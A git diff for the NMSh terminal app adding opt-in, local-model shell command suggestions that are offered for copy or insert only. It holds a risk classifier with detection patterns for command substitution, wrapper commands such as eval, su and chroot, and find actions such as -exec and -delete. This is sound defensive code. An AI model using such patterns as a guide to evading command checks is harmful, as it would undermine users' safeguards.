diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index d9ab39b2..a267ceea 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -295,6 +295,8 @@ Optional **local understanding** can help interpret requests when enabled. Auto Model text is not directly executed as a shell command or filesystem operation. Configuration, mutation, and installation require confirmation of the exact action in Ask; destructive suggestions are Copy/Insert only. Copying or inserting a suggested command does not execute it. File plans and supported configuration still use their normal path, hash, and ownership checks. +**Command suggestions** are optional and Off by default. When the person turns them on (Settings → Ask → Command suggestions → Local model), a request Ask's own resolver cannot place (never one it refused) may get one shell command from the local model. The model receives only the request text, the shell and the OS family; its answer is validated strictly (one plain line, no control or escape sequences), labelled by NMSh's own command classifier rather than the model, and offered for Copy or Insert only. Inserting places it in the composer unsent; only the person's Enter runs it. + ## 20. Configuration and persistence Let `` mean the directory selected by the shared path resolver: diff --git a/CHANGELOG.md b/CHANGELOG.md index 41472b72..0a7ce6e2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,6 +18,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - **`/modules explain` and `/modules timings`** ([#365](https://github.com/raiseCatError/notMyShell/issues/365)) write a plain-text report into the transcript: each configured module's surface, whether it is on screen and why (including when the Context Rail or Status Strip left it out, or shortened it, to fit the width in the last frame), and its sources' state, age and last collection time; or the slowest last collections. They read what the Context Engine already has and collect nothing. - **Five more bundled theme families** ([#401](https://github.com/raiseCatError/notMyShell/issues/401)): Ayu (Dark, Mirage, Light), Kanagawa (Wave, Dragon, Lotus), Everforest (Dark, Light), Flexoki (Dark, Light) and Night Owl (Night Owl, Light Owl), with colors copied exactly from each project's MIT-licensed source at a recorded revision. They theme NMSh's own prompt fills and chrome only; the terminal's own colors and configuration are never changed. Existing theme ids and saved choices are unchanged, and Lavender stays the default. Theme Studio's Built-in list gains `/` to filter by name, family, or `dark`/`light`. - **`/track`** keeps one live result of a finite command in the transcript, refreshed in place ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). `/track df -h` or `/track --every 5s -- docker system df` writes the command once, then shows a status row (`live · every 5s · updated 13:49:25 · exit 0`, a failing exit, a timeout, paused, stale, refreshing) and the latest result under it, with a stable height. The shell stays free; nothing accumulates per refresh, and find, selection and `/copy` never include the live rows. `/track copy` copies the latest result, `/track refresh`, `pause`, `resume` and `stop` control it, and stopping leaves the last result in the transcript once. Samples run `sh -c` from the starting directory with your shell's PATH (not its aliases or functions), never overlap, and are bounded (200 kB, a timeout, at most 8 trackers); destructive and unknown commands are refused or need a Yes, as for `/watch`. Trackers stop with the window that started them. `/watch` keeps its manager and its behavior; both share one scheduler, which gains stricter interval parsing, refusals for substitutions, background jobs and heredocs, UTF-8-safe bounded capture, visible timeouts and a stop grace period (from draft #394). +- **Command suggestions in Ask, from your local model** ([#432](https://github.com/raiseCatError/notMyShell/issues/432), first part). Off by default; Settings → Ask → Command suggestions → Local model turns them on. When Ask cannot place a request (`/btw convert every png here to webp`), your local model (set up in `/llm`) may suggest one shell command. Ask shows it with NMSh's own check (reads only, changes things, installs software, destructive), never the model's, and offers Copy or Insert only: Insert puts it in the composer unsent, and only your Enter runs it. The model is sent the request, the shell and the OS family, nothing else; requests Ask refuses stay refused. Remote providers are not part of this release. ### Fixed diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 62148e4a..63a10ca8 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -249,6 +249,7 @@ import {shellAdapter, shellAvailability, shellInstall} from '../shell/adapters/r import {commandReference} from '../shell/CommandReference.js'; import {gitNextSteps, gitRunAllowed, gitSummary, renderCommand} from '../ask/gitAssist.js'; import {readGitFacts} from '../ask/git.js'; +import {suggestionBlock} from '../ask/commandSuggestions.js'; import {configTargets, systemConfigEnvironment} from '../ask/configTargets.js'; import {systemFileAssistEnvironment, validateAfterWrite} from '../ask/configAssist.js'; import {formatterAllowed} from '../ask/repair.js'; @@ -9587,7 +9588,27 @@ export class TerminalApp { } /** Deterministic resolution first; an optional local interpretation may refine it (see LocalUnderstanding). */ + /** + * Ask's answer: its own resolver (and the optional intent model) first. Only what that cannot place (unclear or + * unsupported, never a refusal) may get one suggested command, and only when the person turned command suggestions + * on (#432). The suggestion is Copy/Insert only, labelled by NMSh; the model gets the request, shell and OS family. + */ private async resolveAsk(text: string, state: AskState): Promise { + const outcome = await this.resolveAskOwn(text, state); + if ((outcome.kind !== 'unclear' && outcome.kind !== 'unsupported') || this.promptConfiguration.askCommandSuggestions !== 'local' || this.askState !== state) return outcome; + if (this.askStage) this.setAskStage('Asking your local model for a command'); + const result = await this.understanding.suggestCommand({text, shell: this.shellId, os: process.platform === 'darwin' ? 'macOS' : 'Linux'}); + if (this.askState !== state) return outcome; + const next = outcome.kind === 'unclear' ? outcome.categories : undefined; + if ('unavailable' in result) return {kind: 'answer', capability: 'help.command', text: result.unavailable, ...(next?.length ? {next} : {})}; + // The model declined: Ask's own answer stands. + if (!result.suggestion) return outcome; + const model = this.configuration.localUnderstanding.model?.label ?? 'local model'; + return {kind: 'answer', capability: 'help.command', text: 'A suggested command, for you to check before running it yourself.', + block: suggestionBlock(result.suggestion, model)}; + } + + private async resolveAskOwn(text: string, state: AskState): Promise { const context = await this.askContext(text); state.repoRoot = context.repoRoot; const commands = this.askCommands(); diff --git a/src/ask/commandSuggestions.ts b/src/ask/commandSuggestions.ts new file mode 100644 index 00000000..70e511eb --- /dev/null +++ b/src/ask/commandSuggestions.ts @@ -0,0 +1,46 @@ +import {analyzePaste, commandWords} from '../input/pasteGuard.js'; +import {repeatRisk} from '../tasks/repeatSafety.js'; +import type {CommandSuggestion} from '../understanding/tasks.js'; +import type {ActionRisk, CommandBlock} from './types.js'; + +/** + * What NMSh itself says about a suggested command (#432), from the classifier paste review uses. The model's own + * wording never sets it: a command that deletes, needs administrator rights, signals processes or pipes into an + * interpreter is destructive; installs are installs; anything that writes, reaches the network, runs project scripts + * or is unknown changes things. "Reads only" is the one verdict a person may relax for, so it needs every part to be + * plainly read-only: no substitution (`$(…)`, backticks, `<(…)`), no wrapper that runs another command (env, xargs, + * nice…), no find action, and nothing the stricter /track gate (repeatRisk) would question, such as `git -c` or an + * option that writes a file. Otherwise it changes things. + */ +export function suggestionRisk(command: string): ActionRisk { + const parts = analyzePaste(command).commands; + const kinds = parts.flatMap(item => item.kinds); + if (kinds.some(kind => kind === 'destructive' || kind === 'privilege' || kind === 'pipeline')) return 'destructive'; + if (kinds.includes('install')) return 'install'; + const plain = parts.length > 0 && !SUBSTITUTION.test(command) + && parts.every(item => !WRAPPERS.has(firstWord(item.text)) && !FIND_ACTION.test(item.text) && !repeatRisk(item.text, item.kinds)); + if (plain && kinds.every(kind => kind === 'navigation')) return 'navigate'; + if (plain && kinds.every(kind => kind === 'read' || kind === 'navigation')) return 'read'; + return 'mutate'; +} + +const SUBSTITUTION = /\$\(|`|<\(|>\(/u; +/** Commands whose job is to run another command. */ +const WRAPPERS = new Set(['env', 'xargs', 'nice', 'nohup', 'timeout', 'command', 'exec', 'builtin', 'eval', 'time', 'watch', 'stdbuf', 'unbuffer', 'parallel', 'script', 'caffeinate', 'flock', 'chroot', 'su']); +/** find options that run a command or delete what they find. */ +const FIND_ACTION = /(?:^|\s)-(?:exec|execdir|ok|okdir|delete|fprint|fprintf|fls)\b/u; +const firstWord = (text: string) => (commandWords(text).find(word => !/^[A-Za-z_]\w*=/u.test(word)) ?? '').split('/').pop() ?? ''; + +/** + * A suggestion as an Ask command block: shown verbatim (`literal`), so Ask offers Copy and Insert only, never Run; + * Insert puts it in the composer unsent and only the person's Enter runs it. The note says where it came from. + */ +export function suggestionBlock(suggestion: CommandSuggestion, modelLabel: string): CommandBlock { + const risk = suggestionRisk(suggestion.command); + // NMSh's verdict first; the model's own words after it, quoted and attributed, so they cannot pose as NMSh's. + return {argv: [], literal: suggestion.command, provenance: 'suggested', risk, + note: `NMSh's check: ${RISK_WORDS[risk]}. Your local model (${modelLabel}) says: “${suggestion.explanation}” Check it before you run it.`}; +} + +const RISK_WORDS: Record = {informational: 'shows information', read: 'reads only', navigate: 'changes directory', + configure: 'changes settings', mutate: 'changes things', destructive: 'destructive', install: 'installs software'}; diff --git a/src/ask/types.ts b/src/ask/types.ts index 012e1003..cce643e5 100644 --- a/src/ask/types.ts +++ b/src/ask/types.ts @@ -94,7 +94,8 @@ export interface CommandBlock { argv: string[]; /** Indices of argv that are placeholders, never filled by guessing. */ placeholders?: number[]; - provenance: 'reference' | 'context'; + /** suggested: a command the person's local model proposed (#432); Copy/Insert only, its risk labelled by NMSh. */ + provenance: 'reference' | 'context' | 'suggested'; risk: ActionRisk; /** One line under the command: what it does here. */ note?: string; diff --git a/src/prompt/configuration.ts b/src/prompt/configuration.ts index 7fef4d49..a3c59545 100644 --- a/src/prompt/configuration.ts +++ b/src/prompt/configuration.ts @@ -590,6 +590,10 @@ export type OnboardingBackdrop = 'off' | 'subtle' | 'aurora'; export const STARTING_POINT_IDS = ['recommended', 'minimal', 'customize', 'existing'] as const; export type StartingPointId = typeof STARTING_POINT_IDS[number]; +/** Where Ask's command suggestions come from: nowhere (default) or the person's local model (#432). */ +export type AskCommandSuggestions = 'off' | 'local'; +export const ASK_COMMAND_SUGGESTIONS: readonly AskCommandSuggestions[] = ['off', 'local']; + export interface PromptConfiguration { presentation: TreatmentSettings; /** General NMSh UI motion (cursor motion lives in `cursor`, Chroma in `presentation`). */ @@ -675,6 +679,11 @@ export interface PromptConfiguration { agentProfiles: AgentProfile[]; /** Keep Ask questions and replies with the session transcript. Approved actions follow their own history rules either way. */ askRecord: boolean; + /** + * Command suggestions in Ask (#432): off, or one suggested shell command from the person's local model when Ask's own + * resolver cannot place a request. Copy/Insert only, never run. Remote providers are a later, separately reviewed slice. + */ + askCommandSuggestions: AskCommandSuggestions; /** How the Ask panel lays out its conversation; independent of the transcript's presentation. */ askPresentation: 'chat' | 'normal'; /** Optional local language understanding; Auto by default (deterministic first, nothing downloads without consent). Folding stays opt-in. */ @@ -890,6 +899,7 @@ export const DEFAULT_PROMPT_CONFIGURATION: PromptConfiguration = { sessionNotices: true, copy: {...DEFAULT_COPY}, askRecord: true, + askCommandSuggestions: 'off', askPresentation: 'chat' as const, localUnderstanding: {mode: 'auto', ask: true, folding: false}, agentActivity: true, @@ -1010,7 +1020,7 @@ export function normalizePromptConfiguration(value: unknown): PromptConfiguratio : []; const promptSymbolCustom = normalizeCustomGlyph(value.promptSymbolCustom); const tooling = {introSeen: value.introSeen !== false, motion: normalizeMotion(value.motion), pastePreview: (value.pastePreview === 'always' || value.pastePreview === 'off' ? value.pastePreview : 'smart') as 'smart' | 'always' | 'off', cursor: normalizeCursor(value.cursor), statusStrip: normalizeStatusStrip(value.statusStrip), keepAwake: normalizeKeepAwakePresentation(value.keepAwake), idleVisuals: normalizeIdleVisuals(value.idleVisuals), liveActivity: normalizeLiveActivity(value.liveActivity), uiChrome: normalizeUiChrome(value.uiChrome), - sessionNotices: value.sessionNotices !== false, copy: normalizeCopy(value.copy), agentProfiles: normalizeProfiles(value.agentProfiles), agentActivity: value.agentActivity !== false, commandQueue: value.commandQueue !== false, queueFailurePolicy: value.queueFailurePolicy === 'continue' ? 'continue' as const : 'pause' as const, queue: normalizeQueuePresentation(value.queue), workspacePanels: value.workspacePanels === true, askRecord: value.askRecord !== false, askPresentation: value.askPresentation === 'normal' ? 'normal' as const : 'chat' as const, + sessionNotices: value.sessionNotices !== false, copy: normalizeCopy(value.copy), agentProfiles: normalizeProfiles(value.agentProfiles), agentActivity: value.agentActivity !== false, commandQueue: value.commandQueue !== false, queueFailurePolicy: value.queueFailurePolicy === 'continue' ? 'continue' as const : 'pause' as const, queue: normalizeQueuePresentation(value.queue), workspacePanels: value.workspacePanels === true, askRecord: value.askRecord !== false, askCommandSuggestions: value.askCommandSuggestions === 'local' ? 'local' as const : 'off' as const, askPresentation: value.askPresentation === 'normal' ? 'normal' as const : 'chat' as const, localUnderstanding: normalizeLocalUnderstanding(value.localUnderstanding), shellBackend: isShellId(value.shellBackend) ? value.shellBackend : 'zsh', openWith: OPEN_WITH_IDS.includes(value.openWith as OpenWith) ? value.openWith as OpenWith : 'auto', diff --git a/src/setup/SetupCat.ts b/src/setup/SetupCat.ts index 6b876774..52e1f8a0 100644 --- a/src/setup/SetupCat.ts +++ b/src/setup/SetupCat.ts @@ -431,6 +431,9 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ {row: configRow('localUnderstanding'), note: draft => localUnderstandingNote(draft)}, {row: configRow('localUnderstandingAsk'), note: () => 'Improve Ask understanding'}, {row: configRow('localUnderstandingFolding'), note: () => 'Improve Smart Folding'}, + {row: configRow('askCommandSuggestions'), note: draft => draft.askCommandSuggestions === 'local' + ? 'Local model: a request Ask cannot place may get one suggested command, labelled by NMSh, to copy or insert. It never runs' + : 'Off: Ask answers on its own; nothing is sent to a model for commands'}, ]}, {id: 'welcomeScreen', title: 'Welcome', intro: ['What a new session shows first. Vespyr is the NMSh cat.'], rows: [ providerRow('setupWelcome', 'Welcome', 'New-session welcome', 'Welcome', WELCOME_PROVIDERS.filter(provider => WELCOME_PROVIDER_IDS.includes(provider.id)), diff --git a/src/ui/SettingsPanel.ts b/src/ui/SettingsPanel.ts index 4a551602..3fa7f536 100644 --- a/src/ui/SettingsPanel.ts +++ b/src/ui/SettingsPanel.ts @@ -5,7 +5,7 @@ import {OPEN_WITH_IDS} from '../host/HostActions.js'; import {TREATMENT_PRESETS, TREATMENT_PRESET_LABELS, TREATMENT_GEOMETRIES, TREATMENT_GEOMETRY_LABELS, TREATMENT_MOTIONS, TREATMENT_MOTION_LABELS, TREATMENT_SPEEDS, TREATMENT_SPEED_LABELS, TREATMENT_INFLUENCES, treatmentInfluence, SEMANTIC_MODES, SEMANTIC_MODE_LABELS, TREATMENT_SCOPES, TREATMENT_SCOPE_LABELS, TREATMENT_CURVES, TREATMENT_CURVE_LABELS, DIVIDER_LINES_HELP, dividerLinesLabel, PRESET_STOPS} from '../chroma/treatment.js'; import {historicalPromptLevel} from '../output/TranscriptPanel.js'; -import {STRIP_EDGES, STRIP_SEPARATORS, STRIP_STYLES, STRIP_ZONES, PANEL_POSITIONS, DIVIDER_COLOR_LABELS, DIVIDER_COLOR_MODES, NATIVE_PALETTE_IDS, CURSOR_BLINKS, CURSOR_SHAPES, IDLE_COLOR_LABELS, IDLE_COLOR_SOURCES, IDLE_TIMEOUTS, ACTIVITY_STYLES, ACTIVITY_STYLE_LABELS, LIVE_ACTIVITY_COLORS, LIVE_ACTIVITY_COLOR_LABELS, RAM_DISPLAYS, LOCAL_UNDERSTANDING_LABELS, LOCAL_UNDERSTANDING_MODES, SHELL_MODULE_VISIBILITY, SHELL_MODULE_VISIBILITY_LABELS, applyShellModuleVisibility, shellModuleVisibility, type StatusStripSettings} from '../prompt/configuration.js'; +import {STRIP_EDGES, STRIP_SEPARATORS, STRIP_STYLES, STRIP_ZONES, PANEL_POSITIONS, DIVIDER_COLOR_LABELS, DIVIDER_COLOR_MODES, NATIVE_PALETTE_IDS, CURSOR_BLINKS, CURSOR_SHAPES, IDLE_COLOR_LABELS, IDLE_COLOR_SOURCES, IDLE_TIMEOUTS, ACTIVITY_STYLES, ACTIVITY_STYLE_LABELS, LIVE_ACTIVITY_COLORS, LIVE_ACTIVITY_COLOR_LABELS, RAM_DISPLAYS, ASK_COMMAND_SUGGESTIONS, LOCAL_UNDERSTANDING_LABELS, LOCAL_UNDERSTANDING_MODES, SHELL_MODULE_VISIBILITY, SHELL_MODULE_VISIBILITY_LABELS, applyShellModuleVisibility, shellModuleVisibility, type StatusStripSettings} from '../prompt/configuration.js'; import {IDLE_MODES, IDLE_MODE_LABELS} from '../idle/scenes.js'; import {MOTION_LABELS, MOTION_RENDERING_ITEM, MOTION_ROWS, MOTION_TUNING_ITEMS, type MotionItem} from '../motion/motionRows.js'; import {NATIVE_PROMPT_THEMES} from '../prompt/prompt.js'; @@ -482,6 +482,9 @@ export const SETTINGS_ROWS: readonly SettingsRow[] = [ }}), {id: 'askRecord', label: 'Record Ask in transcript', description: 'Keep Ask questions and replies with this session\'s transcript; commands or actions you approve still follow their normal history rules', category: 'Ask', control: 'boolean', get: config => config.askRecord, set: (config, askRecord) => ({...config, askRecord})}, + enumRow({id: 'askCommandSuggestions', label: 'Command suggestions', description: 'When Ask cannot place a request, suggest one shell command from your local model (/llm). You check it, then copy or insert it; NMSh never runs it', category: 'Ask', + values: ASK_COMMAND_SUGGESTIONS, labels: ['Off', 'Local model'], + get: config => config.askCommandSuggestions, set: (config, askCommandSuggestions) => ({...config, askCommandSuggestions})}), enumRow({id: 'askPresentation', label: 'Ask presentation', description: 'Chat puts your Ask turns on the right; Normal keeps both sides on the left. The transcript keeps its own presentation', category: 'Ask', values: ASK_PRESENTATIONS, labels: ASK_PRESENTATIONS.map(mode => ASK_PRESENTATION_LABELS[mode]), get: config => config.askPresentation, set: (config, askPresentation) => ({...config, askPresentation})}), @@ -718,7 +721,7 @@ const CONFIG_ORDER: readonly string[] = [ 'sessionNotices', 'terminalTitle', 'agentActivity', 'notifications', 'shellBackend', 'welcome', 'suggestions', 'history', 'picker', 'navigation', 'tools', 'toolUpdateChecks', 'installSuggestions', 'localUnderstanding', - 'askRecord', 'askPresentation', 'outputFolding', 'semanticOutput', + 'askRecord', 'askPresentation', 'askCommandSuggestions', 'outputFolding', 'semanticOutput', ]; const groupRank = (row: SettingsRow) => CONFIG_GROUPS.indexOf(configGroup(row)); /** Sort key: group, the root's place in CONFIG_ORDER, the root's own position, then the row's (so a child stays under its parent). */ diff --git a/src/understanding/LocalUnderstanding.ts b/src/understanding/LocalUnderstanding.ts index 1652e815..33031f39 100644 --- a/src/understanding/LocalUnderstanding.ts +++ b/src/understanding/LocalUnderstanding.ts @@ -2,7 +2,7 @@ import type {Reasoning} from './runtimes.js'; import type {LocalUnderstandingSettings} from '../prompt/configuration.js'; import {discoverLocal, systemDiscoveryAdapters, type DiscoveryAdapters, type FoundModel, type FoundRuntime} from './discovery.js'; import {ModelClient, type ModelStatus} from './ModelClient.js'; -import {validateFoldHint, validateInterpretation, type FoldHint, type FoldRequest, type IntentInterpretation, type IntentRequest} from './tasks.js'; +import {validateCommandSuggestion, validateFoldHint, validateInterpretation, type CommandRequest, type CommandSuggestion, type FoldHint, type FoldRequest, type IntentInterpretation, type IntentRequest} from './tasks.js'; export type UnderstandingScope = 'ask' | 'folding'; export const SCOPE_LABELS: Record = {ask: 'Ask', folding: 'Smart Folding'}; @@ -62,6 +62,31 @@ export class LocalUnderstanding { } finally { this.activeSince = undefined; } } + /** + * One suggested shell command for an Ask request (#432), only when command suggestions are set to the local model + * and a model is chosen. The request carries the text, the shell and the OS family only. Returns the validated + * suggestion, null when the model declined, or a reason it could not be asked; never a command NMSh runs. + */ + async suggestCommand(request: CommandRequest): Promise<{suggestion: CommandSuggestion | null} | {unavailable: string}> { + const settings = this.settings(); + if (settings.mode === 'off') return {unavailable: 'Command suggestions use your local model, and local understanding is Off. Turn it on in /llm.'}; + if (!settings.model) return {unavailable: 'Command suggestions use your local model, and none is chosen yet. Choose one in /llm.'}; + this.requests += 1; + this.activeSince = Date.now(); + try { + const client = this.connection(); + const output = await client.infer('command', request, {priority: 'interactive', mode: settings.mode, model: settings.model, timeoutMs: 20_000, reasoning: 'fast'}); + if (output === undefined) { + return {unavailable: client.protocol !== undefined && !client.features.has('command') + ? 'The local model service was started by an older NMSh and cannot suggest commands; it restarts on its own once idle.' + : 'The local model did not answer in time.'}; + } + const suggestion = validateCommandSuggestion(output); + this.lastInference = {label: 'Ask command suggestion · non-thinking', at: Date.now(), ok: suggestion !== undefined}; + return suggestion === undefined ? {unavailable: 'The local model\'s answer was not a single plain command; nothing is shown.'} : {suggestion}; + } finally { this.activeSince = undefined; } + } + /** Unload the shared model now; it loads again on next use. */ async stopModel(): Promise { if (!this.client) return false; diff --git a/src/understanding/ModelClient.ts b/src/understanding/ModelClient.ts index 5d5f7ec9..22a24f99 100644 --- a/src/understanding/ModelClient.ts +++ b/src/understanding/ModelClient.ts @@ -6,7 +6,7 @@ import {fileURLToPath} from 'node:url'; import {defaultRuntimeDir, ensurePrivateRuntimeDir, RUNTIME_DIR_ENV} from '../session/runtimeDir.js'; import type {LocalModelChoice, LocalUnderstandingMode} from '../prompt/configuration.js'; import {lineChannel, MODEL_PROTOCOL, modelSocketPath, type ClientMessage, type Priority, type ServiceMessage} from './ModelService.js'; -import type {FoldRequest, IntentRequest} from './tasks.js'; +import type {CommandRequest, FoldRequest, IntentRequest} from './tasks.js'; export interface ModelStatus {state: string; model?: string; runtime?: string; clients: number; queued: number; error?: string} @@ -23,6 +23,8 @@ export class ModelClient { private readonly pending = new Map void>(); /** Protocol of the connected service; a different one is never spoken to. */ protocol?: number; + /** What the connected service says it can do (an older service lacks newer tasks, such as 'command'). */ + features: ReadonlySet = new Set(); constructor(private readonly socketPath = modelSocketPath(defaultRuntimeDir()), private readonly start: () => void = startModelService) {} @@ -38,7 +40,7 @@ export class ModelClient { this.socket = socket; this.send = lineChannel(socket, message => this.receive(message as ServiceMessage)); socket.on('close', () => { - this.socket = undefined; this.send = undefined; this.protocol = undefined; + this.socket = undefined; this.send = undefined; this.protocol = undefined; this.features = new Set(); for (const resolveRequest of this.pending.values()) resolveRequest(undefined); this.pending.clear(); }); @@ -49,13 +51,31 @@ export class ModelClient { } private receive(message: ServiceMessage): void { - if (message.type === 'welcome') { this.protocol = message.protocol; return; } + if (message.type === 'welcome') { + this.protocol = message.protocol; + this.features = new Set(message.features ?? []); + for (const done of this.welcomeWaiters.splice(0)) done(); + return; + } const resolveRequest = this.pending.get(message.id); if (!resolveRequest) return; this.pending.delete(message.id); resolveRequest(message); } + private welcomeWaiters: Array<() => void> = []; + + /** Whether the service's welcome has arrived, waiting at most timeoutMs for it. */ + private welcomed(timeoutMs: number): Promise { + if (this.protocol !== undefined) return Promise.resolve(true); + return new Promise(resolve => { + const timer = setTimeout(() => { this.welcomeWaiters = this.welcomeWaiters.filter(item => item !== done); resolve(false); }, timeoutMs); + timer.unref?.(); + const done = () => { clearTimeout(timer); resolve(true); }; + this.welcomeWaiters.push(done); + }); + } + /** Connect, starting the one service if none answers; concurrent windows race safely (one binds, the rest connect). */ async ensure(): Promise { if (this.socket) return true; @@ -84,8 +104,12 @@ export class ModelClient { async infer(task: 'intent', input: IntentRequest, options: {priority: Priority; mode: LocalUnderstandingMode; model: LocalModelChoice; timeoutMs: number; reasoning?: Reasoning}): Promise; async infer(task: 'fold', input: FoldRequest, options: {priority: Priority; mode: LocalUnderstandingMode; model: LocalModelChoice; timeoutMs: number; reasoning?: Reasoning}): Promise; - async infer(task: 'intent' | 'fold', input: IntentRequest | FoldRequest, options: {priority: Priority; mode: LocalUnderstandingMode; model: LocalModelChoice; timeoutMs: number; reasoning?: Reasoning}): Promise { + async infer(task: 'command', input: CommandRequest, options: {priority: Priority; mode: LocalUnderstandingMode; model: LocalModelChoice; timeoutMs: number; reasoning?: Reasoning}): Promise; + async infer(task: 'intent' | 'fold' | 'command', input: IntentRequest | FoldRequest | CommandRequest, options: {priority: Priority; mode: LocalUnderstandingMode; model: LocalModelChoice; timeoutMs: number; reasoning?: Reasoning}): Promise { if (!(await this.ensure()) || (this.protocol !== undefined && this.protocol !== MODEL_PROTOCOL)) return undefined; + // A service started by an older NMSh does not know newer tasks; it is never sent one. Its welcome (sent right + // after connecting) says which it knows. + if (task === 'command' && (!(await this.welcomed(1500)) || !this.features.has('command'))) return undefined; const reply = await this.request({type: 'infer', task, input, priority: options.priority, mode: options.mode, model: options.model, ...(options.reasoning ? {reasoning: options.reasoning} : {})} as never, options.timeoutMs); if (reply?.type === 'result' && reply.ok) { this.lastReasoning = reply.reasoning ?? 'fast'; return reply.output; } return undefined; diff --git a/src/understanding/ModelService.ts b/src/understanding/ModelService.ts index c89d4b6f..82297a54 100644 --- a/src/understanding/ModelService.ts +++ b/src/understanding/ModelService.ts @@ -3,7 +3,7 @@ import {connect, createServer, type Server, type Socket} from 'node:net'; import {join} from 'node:path'; import type {LocalModelChoice, LocalUnderstandingMode} from '../prompt/configuration.js'; import {isQwen3, type ModelRuntime, type Reasoning} from './runtimes.js'; -import {foldPrompt, FOLD_SCHEMA, intentPrompt, INTENT_SCHEMA, type FoldRequest, type IntentRequest} from './tasks.js'; +import {commandPrompt, COMMAND_SCHEMA, foldPrompt, FOLD_SCHEMA, intentPrompt, INTENT_SCHEMA, type CommandRequest, type FoldRequest, type IntentRequest} from './tasks.js'; /** * The user-global local model service. Every NMSh window is a client of one @@ -13,7 +13,7 @@ import {foldPrompt, FOLD_SCHEMA, intentPrompt, INTENT_SCHEMA, type FoldRequest, * per-window context between requests. */ export const MODEL_PROTOCOL = 1; -export const MODEL_FEATURES = ['intent', 'fold', 'status'] as const; +export const MODEL_FEATURES = ['intent', 'fold', 'status', 'command'] as const; export const modelSocketPath = (runtimeDir: string) => join(runtimeDir, `nmsh-model-v${MODEL_PROTOCOL}.sock`); export type Priority = 'interactive' | 'diagnostic' | 'background'; @@ -24,6 +24,8 @@ export type ClientMessage = | {type: 'hello'; protocol: number} | {type: 'infer'; id: number; priority: Priority; task: 'intent'; input: IntentRequest; mode: LocalUnderstandingMode; model: LocalModelChoice; reasoning?: Reasoning} | {type: 'infer'; id: number; priority: Priority; task: 'fold'; input: FoldRequest; mode: LocalUnderstandingMode; model: LocalModelChoice; reasoning?: Reasoning} + /** #432: one suggested shell command; only to services that advertise 'command'. */ + | {type: 'infer'; id: number; priority: Priority; task: 'command'; input: CommandRequest; mode: LocalUnderstandingMode; model: LocalModelChoice; reasoning?: Reasoning} | {type: 'status'; id: number} | {type: 'configure'; mode: LocalUnderstandingMode; model?: LocalModelChoice} /** Unload the model now (it loads again on next use); queued work still finishes first. */ @@ -49,10 +51,10 @@ export interface ModelServiceOptions { now?: () => number; } -interface Job {client: Client; id: number; priority: Priority; task: 'intent' | 'fold'; input: unknown; model: LocalModelChoice; enqueued: number; reasoning: Reasoning} +interface Job {client: Client; id: number; priority: Priority; task: 'intent' | 'fold' | 'command'; input: unknown; model: LocalModelChoice; enqueued: number; reasoning: Reasoning} interface Client {send: (message: ServiceMessage) => void} -const TOKEN_BUDGET = {intent: 160, fold: 40} as const; +const TOKEN_BUDGET = {intent: 160, fold: 40, command: 220} as const; /** A bounded thinking pass: room for brief reasoning plus the JSON answer, never open-ended. */ const THINKING_BUDGET = 640; @@ -143,10 +145,10 @@ export class ModelService { const runtime = await this.ensureLoaded(job.model); this.state = 'busy'; const signal = AbortSignal.timeout(this.requestTimeoutMs); - const prompt = job.task === 'intent' ? intentPrompt(job.input as IntentRequest) : foldPrompt(job.input as FoldRequest); + const prompt = job.task === 'intent' ? intentPrompt(job.input as IntentRequest) : job.task === 'command' ? commandPrompt(job.input as CommandRequest) : foldPrompt(job.input as FoldRequest); // Only llama.cpp gets the explicit Qwen3 template; other runtimes apply their own and stay non-thinking. if (job.reasoning === 'thinking' && job.model.runtime !== 'llama.cpp') job.reasoning = 'fast'; - const output = await runtime.infer(prompt, job.task === 'intent' ? INTENT_SCHEMA : FOLD_SCHEMA, job.reasoning === 'thinking' ? THINKING_BUDGET : TOKEN_BUDGET[job.task], signal, + const output = await runtime.infer(prompt, job.task === 'intent' ? INTENT_SCHEMA : job.task === 'command' ? COMMAND_SCHEMA : FOLD_SCHEMA, job.reasoning === 'thinking' ? THINKING_BUDGET : TOKEN_BUDGET[job.task], signal, {reasoning: job.reasoning, qwen3: isQwen3(job.model)}); this.state = 'ready'; job.client.send({type: 'result', id: job.id, ok: true, output, reasoning: job.reasoning}); diff --git a/src/understanding/tasks.ts b/src/understanding/tasks.ts index 293c6fcc..6835e7dc 100644 --- a/src/understanding/tasks.ts +++ b/src/understanding/tasks.ts @@ -125,3 +125,51 @@ export function foldExcerpt(command: string, output: string, exitCode: number, l const picked = all.length <= lines * 2 ? all : [...all.slice(0, lines), `… ${all.length - lines * 2} lines …`, ...all.slice(-lines)]; return {command: program.slice(0, 60), exitCode, lines: picked.map(line => redact(line).slice(0, width))}; } + +/** + * #432: one shell command for a request typed in Ask, from the person's own local model, only when they turned + * command suggestions on. The model gets the request text, the shell and the OS family: never files, environment, + * history, the transcript or any output. It returns data; NMSh validates it, labels its risk itself, and offers + * Copy or Insert. Nothing it returns is ever run by NMSh. + */ +export interface CommandRequest {text: string; shell: 'zsh' | 'bash' | 'fish'; os: 'macOS' | 'Linux'} +export interface CommandSuggestion {command: string; explanation: string} + +const MAX_COMMAND = 1024; +const MAX_EXPLANATION = 300; +/** Controls, escape sequences, and invisible format characters (bidi overrides and the like) are never accepted. */ +const UNSAFE_TEXT = /[\u0000-\u001f\u007f-\u009f\p{Cf}\u2028\u2029]/u; + +export const COMMAND_SCHEMA = { + type: 'object', additionalProperties: false, required: ['command', 'explanation'], + properties: {command: {type: ['string', 'null'], maxLength: MAX_COMMAND}, explanation: {type: 'string', maxLength: MAX_EXPLANATION}}, +} as const; + +/** + * Strict: one plain line of at most 1 KiB and a short plain explanation, or `command: null` (the model declines). + * A second line, an escape sequence, an invisible character, an extra field (a "risk" the model claims) or anything + * oversized rejects the whole answer. Returns null when the model declined, undefined when the answer is unusable. + */ +export function validateCommandSuggestion(raw: unknown): CommandSuggestion | null | undefined { + if (!raw || typeof raw !== 'object' || Array.isArray(raw)) return undefined; + const value = raw as Record; + if (!exactKeys(value, ['command', 'explanation'], ['command', 'explanation'])) return undefined; + // The explanation is the model's own words; it never speaks for NMSh (NMSh's verdict is shown beside it). + if (typeof value.explanation !== 'string' || value.explanation.length > MAX_EXPLANATION || 